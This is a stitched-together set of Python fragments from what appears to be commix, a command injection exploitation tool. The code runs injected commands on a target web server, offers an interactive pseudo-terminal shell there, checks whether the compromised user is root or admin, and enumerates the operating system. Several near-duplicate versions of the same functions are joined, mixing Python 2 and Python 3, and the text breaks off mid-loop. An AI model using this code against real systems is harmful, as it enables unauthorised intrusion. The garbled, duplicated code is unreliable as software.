timeout=settings.TIMEOUT) html_data = output.read() shell = re.findall(r"" + TAG + "", str(html_data)) if len(shell) != 0 and shell[ 0] == TAG and not settings.VERBOSITY_LEVEL != 0: percent = settings.info_msg info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if len(shell) == 0: raise _urllib.error.HTTPError( url, 404, 'Error', {}, None) except _urllib.error.HTTPError as e: if str(e.getcode() ) == settings.NOT_FOUND_ERROR: percent = ((i * 100) / total) float_percent = "{0:.1f}".format( round(((i * 100) / (total * 1.0)), 2)) if call_tmp_based == True: exit_loops = True tmp_path = os.path.split( menu.options.file_dest)[0] + "/" tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response) raise # Show an error message, after N failed tries. # Use the "/tmp/" directory for tempfile-based technique. elif i == int(menu.options.failed_tries ) and no_result == True: tmp_path = check_tmp_path( url, timesec, filename, http_request_method, url_time_response) warn_msg = "It seems that you don't have permissions to " warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'." sys.stdout.write( "\r" + settings.print_warning_msg( warn_msg)) print(settings.SPACE) while True: if not menu.options.batch: question_msg = "Do you want to try the temporary directory (" + tmp_path + ") [Y/n] > " tmp_upload = _input( settings. print_question_msg( question_msg)) else: tmp_upload = "" if len(tmp_upload) == 0: tmp_upload = "Y" if tmp_upload in settings.CHOICE_YES: exit_loops = True settings.TEMPFILE_BASED_STATE = True call_tfb = tfb_controller( no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response) if call_tfb != False: return True else: if no_result == True: return False else: return True elif tmp_upload in settings.CHOICE_NO: break elif tmp_upload in settings.CHOICE_QUIT: print(settings.SPACE) raise else: err_msg = "'" + tmp_upload + "' is not a valid answer." print( settings.print_error_msg( err_msg)) pass continue else: if exit_loops == False: if settings.VERBOSITY_LEVEL == 0: if str(float_percent ) == "100.0": if no_result == True: percent = settings.FAIL_STATUS else: percent = ".. (" + str( float_percent ) + "%)" else: percent = ".. (" + str( float_percent) + "%)" info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write( "\r" + settings.print_info_msg( info_msg)) sys.stdout.flush() continue else: continue else: raise elif str(e.getcode() ) == settings.UNAUTHORIZED_ERROR: err_msg = "Authorization required!" print( settings.print_critical_msg(err_msg) + "\n") raise SystemExit() elif str(e.getcode() ) == settings.FORBIDDEN_ERROR: err_msg = "You don't have permission to access this page." print( settings.print_critical_msg(err_msg) + "\n") raise SystemExit() except KeyboardInterrupt: # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except SystemExit: if 'vuln_parameter' in locals(): # Delete previous shell (text) files (output) delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except _urllib.error.URLError as e: warn_msg = "It seems that you don't have permissions to " warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'." sys.stdout.write( "\r" + settings.print_warning_msg(warn_msg)) err_msg = str(e).replace(": ", " (") + ")." if settings.VERBOSITY_LEVEL >= 2: print(settings.SPACE) print(settings.print_critical_msg(err_msg)) # Provide custom server's root directory. custom_web_root(url, timesec, filename, http_request_method, url_time_response) continue except: raise # Yaw, got shellz! # Do some magic tricks! if shell: settings.FILE_BASED_STATE = True found = True no_result = False # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True if not settings.VERBOSITY_LEVEL != 0 and \ not menu.options.alter_shell and \ not next_attack_vector: next_attack_vector = True if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.HOST_INJECTION == True: header_name = "Host" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if not menu.options.data: found_vuln_parameter = parameters.vuln_GET_param( url) else: found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0: found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique( export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter( vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: if settings.VERBOSITY_LEVEL == 0: print(settings.SPACE) else: checks.total_of_requests() # Print the findings to terminal. info_msg = "The" if len(found_vuln_parameter ) > 0 and not "cookie" in header_name: info_msg += " " + http_request_method info_msg += ('', ' (JSON)')[settings.IS_JSON] + ( '', ' (SOAP/XML)' )[settings.IS_XML] + the_type + header_name info_msg += found_vuln_parameter + " seems injectable via " info_msg += "(" + injection_type.split( " ")[0] + ") " + technique + "." print(settings.print_bold_info_msg(info_msg)) sub_content = str(checks.url_decode(payload)) print(settings.print_sub_content(sub_content)) # Export session if not settings.LOAD_SESSION: session_handler.injection_point_importation( url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) else: whitespace = settings.WHITESPACES[0] settings.LOAD_SESSION = False # Check for any enumeration options. new_line = True if settings.ENUMERATION_DONE == True: while True: if not menu.options.batch: question_msg = "Do you want to enumerate again? [Y/n] > " enumerate_again = _input( "\n" + settings.print_question_msg( question_msg)).lower() else: enumerate_again = "" if len(enumerate_again) == 0: enumerate_again = "Y" if enumerate_again in settings.CHOICE_YES: fb_enumeration.do_check( separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # print(settings.SPACE) break elif enumerate_again in settings.CHOICE_NO: new_line = False break elif file_access_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: err_msg = "'" + enumerate_again + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: if menu.enumeration_options(): fb_enumeration.do_check( separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if not menu.file_access_options( ) and not menu.options.os_cmd: if not settings.VERBOSITY_LEVEL != 0 and new_line: print(settings.SPACE) # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: if settings.ENUMERATION_DONE != True: print(settings.SPACE) while True: if not menu.options.batch: question_msg = "Do you want to access files again? [Y/n] > " file_access_again = _input( settings.print_question_msg( question_msg)) else: file_access_again = "" if len(file_access_again) == 0: file_access_again = "Y" if file_access_again in settings.CHOICE_YES: fb_file_access.do_check( separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) print(settings.SPACE) break elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: err_msg = "'" + enumerate_again + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: if menu.file_access_options(): # if not menu.enumeration_options(): # print(settings.SPACE) fb_file_access.do_check( separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) print(settings.SPACE) # Check if defined single cmd. if menu.options.os_cmd: # if not menu.file_access_options(): # print(settings.SPACE) fb_enumeration.single_os_cmd_exec( separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() try: # Pseudo-Terminal shell go_back = False go_back_again = False while True: # Delete previous shell (text) files (output) # if settings.VERBOSITY_LEVEL != 0: # print(settings.SPACE) delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if settings.VERBOSITY_LEVEL != 0: print(settings.SPACE) if go_back == True: break if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " gotshell = _input( settings.print_question_msg( question_msg)) else: gotshell = "" if len(gotshell) == 0: gotshell = "Y" if gotshell in settings.CHOICE_YES: # if not menu.options.batch: # print(settings.SPACE) print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if settings.READLINE_ERROR: checks.no_readline_module() while True: if not settings.READLINE_ERROR: checks.tab_autocompleter() cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) # if settings.VERBOSITY_LEVEL != 0: # print(settings.SPACE) if cmd.lower( ) in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE) if go_back and go_back_again == False: break if go_back and go_back_again: return True else: time.sleep(timesec) response = fb_injector.injection( separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Command execution results. shell = fb_injector.injection_results( url, OUTPUT_TEXTFILE, timesec) shell = "".join( str(p) for p in shell) if not menu.options.ignore_session: session_handler.store_cmd( url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd( url, cmd, vuln_parameter) if shell: if shell != "": # Update logs with executed cmds and execution results. logs.executed_command( filename, cmd, shell) print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n") if not shell or shell == "": if settings.VERBOSITY_LEVEL != 0: print(settings.SPACE) err_msg = "The '" + cmd + "' command, does not return any output." print( settings. print_critical_msg( err_msg) + "\n") elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector( technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: err_msg = "'" + gotshell + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass except KeyboardInterrupt: # if settings.VERBOSITY_LEVEL != 0: print(settings.SPACE) # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise if no_result == True: if settings.VERBOSITY_LEVEL == 0: print(settings.SPACE) return False else: sys.stdout.write("\r") sys.stdout.flush()
def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): _ = False if settings.TARGET_OS == "win": settings.CURRENT_USER = settings.WIN_CURRENT_USER cmd = settings.CURRENT_USER if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # The main command injection exploitation. check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) _ = True else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) cu_account = output if cu_account: cu_account = "".join(str(p) for p in cu_account) # Check if the user have super privileges. if menu.options.is_root or menu.options.is_admin: if settings.TARGET_OS == "win": cmd = settings.IS_ADMIN else: cmd = settings.IS_ROOT if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: if settings.VERBOSITY_LEVEL < 1 and _: sys.stdout.write("\n") # The main command injection exploitation. check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) shell = output if settings.VERBOSITY_LEVEL < 1 and _: print("") success_msg = "The current user is " + str(cu_account) sys.stdout.write(settings.print_success_msg(success_msg)) # Add infos to logs file. output_file = open(filename, "a") success_msg = "The current user is " + str(cu_account) output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg) output_file.close() if shell: shell = "".join(str(p) for p in shell) if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ (settings.TARGET_OS != "win" and shell != "0"): sys.stdout.write(Style.BRIGHT + " and it is " + "not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write(" and it is not privileged.\n") output_file.close() else: sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write(" and it is privileged.\n") output_file.close() else: if settings.VERBOSITY_LEVEL < 1 and _: print("") success_msg = "The current user is " + str(cu_account) sys.stdout.write(settings.print_success_msg(success_msg) + ".") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") success_msg = "The current user is " + str(cu_account) + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg) output_file.close() else: warn_msg = "Heuristics have failed to identify the current user." print(settings.print_warning_msg(warn_msg))
def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): if settings.TARGET_OS == "win": settings.CURRENT_USER = settings.WIN_CURRENT_USER cmd = settings.CURRENT_USER if session_handler.export_stored_cmd( url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Perform target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate injection results. cu_account = cb_injector.injection_results(response, TAG, cmd) cu_account = "".join(str(p) for p in cu_account) session_handler.store_cmd(url, cmd, cu_account, vuln_parameter) else: cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if cu_account: cu_account = "".join(str(p) for p in cu_account) # Check if the user have super privileges. if menu.options.is_root or menu.options.is_admin: if settings.TARGET_OS == "win": cmd = settings.IS_ADMIN else: cmd = settings.IS_ROOT if settings.USE_BACKTICKS: cmd = cmd.replace("echo $(", "").replace(")", "") if session_handler.export_stored_cmd( url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Perform target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate injection results. shell = cb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1] session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd( url, cmd, vuln_parameter) success_msg = "The current user is " + cu_account sys.stdout.write(settings.print_success_msg(success_msg)) # Add infos to logs file. output_file = open(filename, "a") success_msg = "The current user is " + cu_account output_file.write( re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub( "", settings.SUCCESS_SIGN) + success_msg) output_file.close() if shell: if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ (settings.TARGET_OS != "win" and shell != "0"): sys.stdout.write(Style.BRIGHT + " and it is " + "not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write(" and it is not privileged.\n") output_file.close() else: sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write(" and it is privileged.\n") output_file.close() else: success_msg = "The current user is " + cu_account sys.stdout.write(settings.print_success_msg(success_msg) + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") success_msg = "The current user is " + cu_account + "\n" output_file.write( re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub( "", settings.SUCCESS_SIGN) + success_msg) output_file.close() else: warn_msg = "Heuristics have failed to identify the current user." print settings.print_warning_msg(warn_msg)
def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): if settings.TARGET_OS == "win": settings.CURRENT_USER = settings.WIN_CURRENT_USER cmd = settings.CURRENT_USER if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # The main command injection exploitation. check_how_long, output = tfb_injector.injection( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) new_line = "\n" else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) new_line = "" cu_account = output if cu_account: if new_line == "\n": print "" cu_account = "".join(str(p) for p in cu_account) # Check if the user have super privileges. if menu.options.is_root or menu.options.is_admin: if settings.TARGET_OS == "win": cmd = settings.IS_ADMIN else: cmd = settings.IS_ROOT if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # The main command injection exploitation. check_how_long, output = tfb_injector.injection( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) new_line = "\n" else: output = session_handler.export_stored_cmd( url, cmd, vuln_parameter) new_line = "" shell = output if settings.VERBOSITY_LEVEL >= 1: print "" success_msg = "The current user is " + Style.UNDERLINE + cu_account sys.stdout.write(new_line + settings.print_success_msg(success_msg)) # Add infos to logs file. output_file = open(filename, "a") success_msg = "The current user is " + cu_account output_file.write(" " + settings.SUCCESS_SIGN + success_msg) output_file.close() if shell: shell = "".join(str(p) for p in shell) if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ (settings.TARGET_OS != "win" and shell != "0"): sys.stdout.write(Style.BRIGHT + " and it is " + Style.UNDERLINE + "not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write(" and it is not privileged.\n") output_file.close() else: sys.stdout.write(Style.BRIGHT + " and it is " + Style.UNDERLINE + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write(" and it is privileged.\n") output_file.close() else: if settings.VERBOSITY_LEVEL >= 1: print "" success_msg = "The current user is " + Style.UNDERLINE + cu_account sys.stdout.write(settings.print_success_msg(success_msg) + ".") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") success_msg = "The current user is " + cu_account + "\n" output_file.write(" " + settings.SUCCESS_SIGN + success_msg) output_file.close()
def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): _ = False if settings.TARGET_OS == "win": settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS cmd = settings.RECOGNISE_OS if session_handler.export_stored_cmd( url, cmd, vuln_parameter) == None or menu.options.ignore_session: # The main command injection exploitation. check_how_long, output = tfb_injector.injection( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) _ = True else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) target_os = output if settings.VERBOSITY_LEVEL <= 1 and not menu.options.ignore_session and _: print "" if target_os: if settings.TARGET_OS != "win": cmd = settings.DISTRO_INFO if session_handler.export_stored_cmd( url, cmd, vuln_parameter) == None or menu.options.ignore_session: if settings.VERBOSITY_LEVEL <= 1 and not menu.options.ignore_session and _: sys.stdout.write("") check_how_long, output = tfb_injector.injection( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd( url, cmd, vuln_parameter) distro_name = output if len(distro_name) != 0: target_os = target_os + " (" + distro_name + ")" if settings.TARGET_OS == "win": cmd = settings.WIN_RECOGNISE_HP else: cmd = settings.RECOGNISE_HP if session_handler.export_stored_cmd( url, cmd, vuln_parameter) == None or menu.options.ignore_session: if settings.VERBOSITY_LEVEL <= 1 and not menu.options.ignore_session and _: sys.stdout.write("\n") # The main command injection exploitation. check_how_long, output = tfb_injector.injection( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) target_arch = output if target_arch: if settings.VERBOSITY_LEVEL <= 1 and not menu.options.ignore_session and _: print "" success_msg = "The target operating system is " + target_os + Style.RESET_ALL success_msg += Style.BRIGHT + " and the hardware platform is " + target_arch sys.stdout.write(settings.print_success_msg(success_msg) + ".") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") success_msg = "The target operating system is " + target_os success_msg += " and the hardware platform is " + target_arch + ".\n" output_file.write( re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub( "", settings.SUCCESS_SIGN) + success_msg) output_file.close() else: warn_msg = "Heuristics have failed to retrieve the system information." print settings.print_warning_msg(warn_msg)
def current_user(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename): if settings.TARGET_OS == "win": settings.SYS_USERS = settings.WIN_SYS_USERS settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))" if alter_shell: settings.SYS_USERS = settings.SYS_USERS.replace("'", "\\'") else: settings.SYS_USERS = "\"" + settings.SYS_USERS + "\"" cmd = settings.CURRENT_USER response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Evaluate injection results. cu_account = eb_injector.injection_results(response, TAG, cmd) cu_account = "".join(str(p) for p in cu_account).replace(" ", "", 1)[:-1] session_handler.store_cmd(url, cmd, cu_account, vuln_parameter) else: cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if cu_account: # Check if the user have super privileges. if menu.options.is_root or menu.options.is_admin: if settings.TARGET_OS == "win": cmd = settings.IS_ADMIN if not alter_shell: cmd = "\"" + cmd + "\"" else: cmd = settings.IS_ROOT response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Evaluate injection results. shell = eb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1] session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd( url, cmd, vuln_parameter) if settings.VERBOSITY_LEVEL >= 1: print "" success_msg = "The current user is " + Style.UNDERLINE + cu_account sys.stdout.write(settings.print_success_msg(success_msg)) # Add infos to logs file. output_file = open(filename, "a") success_msg = "The current user is " + cu_account output_file.write(" " + settings.SUCCESS_SIGN + success_msg) output_file.close() if shell: if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ (settings.TARGET_OS != "win" and shell != "0"): sys.stdout.write(Style.BRIGHT + " and it is " + Style.UNDERLINE + "not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write(" and it is not privileged.\n") output_file.close() else: sys.stdout.write(Style.BRIGHT + " and it is " + Style.UNDERLINE + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write(" and it is privileged.\n") output_file.close() else: if settings.VERBOSITY_LEVEL >= 1: print "" success_msg = "The current user is " + Style.UNDERLINE + cu_account sys.stdout.write(settings.print_success_msg(success_msg)) sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") success_msg = "The current user is " + cu_account + "\n" output_file.write(" " + settings.SUCCESS_SIGN + success_msg) output_file.close()
def current_user(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): if settings.TARGET_OS == "win": settings.CURRENT_USER = settings.WIN_CURRENT_USER cmd = settings.CURRENT_USER response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Evaluate injection results. cu_account = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay) cu_account = "".join(str(p) for p in cu_account) session_handler.store_cmd(url, cmd, cu_account, vuln_parameter) else: cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if cu_account: # Check if the user have super privileges. if menu.options.is_root or menu.options.is_admin: if settings.TARGET_OS == "win": cmd = settings.IS_ADMIN else: cmd = settings.IS_ROOT response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Evaluate injection results. shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay) shell = "".join(str(p) for p in shell) session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd( url, cmd, vuln_parameter) if settings.VERBOSITY_LEVEL >= 1: print "" success_msg = "The current user is " + cu_account sys.stdout.write(settings.print_success_msg(success_msg)) # Add infos to logs file. output_file = open(filename, "a") success_msg = "The current user is " + cu_account output_file.write( " " + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub( "", settings.SUCCESS_SIGN) + success_msg) output_file.close() if shell: if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ (settings.TARGET_OS != "win" and shell != "0"): sys.stdout.write(Style.BRIGHT + " and it is " + "not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write(" and it is not privileged.\n") output_file.close() else: sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write(" and it is privileged.\n") output_file.close() else: if settings.VERBOSITY_LEVEL >= 1: print "" success_msg = "The current user is " + cu_account sys.stdout.write(settings.print_success_msg(success_msg)) sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") success_msg = "The current user is " + cu_account + "\n" output_file.write( " " + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub( "", settings.SUCCESS_SIGN) + success_msg) output_file.close()
def cb_injection_handler(url, timesec, filename, http_request_method): shell = False counter = 1 vp_flag = True no_result = True is_encoded = False export_injection_info = False injection_type = "results-based OS command injection" technique = "classic command injection technique" if not settings.LOAD_SESSION: info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if settings.VERBOSITY_LEVEL >= 1: print("") i = 0 # Calculate all possible combinations total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) for whitespace in settings.WHITESPACE: for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: if whitespace == " ": whitespace = _urllib.parse.quote(whitespace) # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False # If a previous session is available. if settings.LOAD_SESSION and session_handler.notification(url, technique, injection_type): try: settings.CLASSIC_STATE = True url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) checks.check_for_stored_tamper(payload) except TypeError: err_msg = "An error occurred while accessing session file ('" err_msg += settings.SESSION_FILE + "'). " err_msg += "Use the '--flush-session' option." print(settings.print_critical_msg(err_msg)) raise SystemExit() else: i = i + 1 # 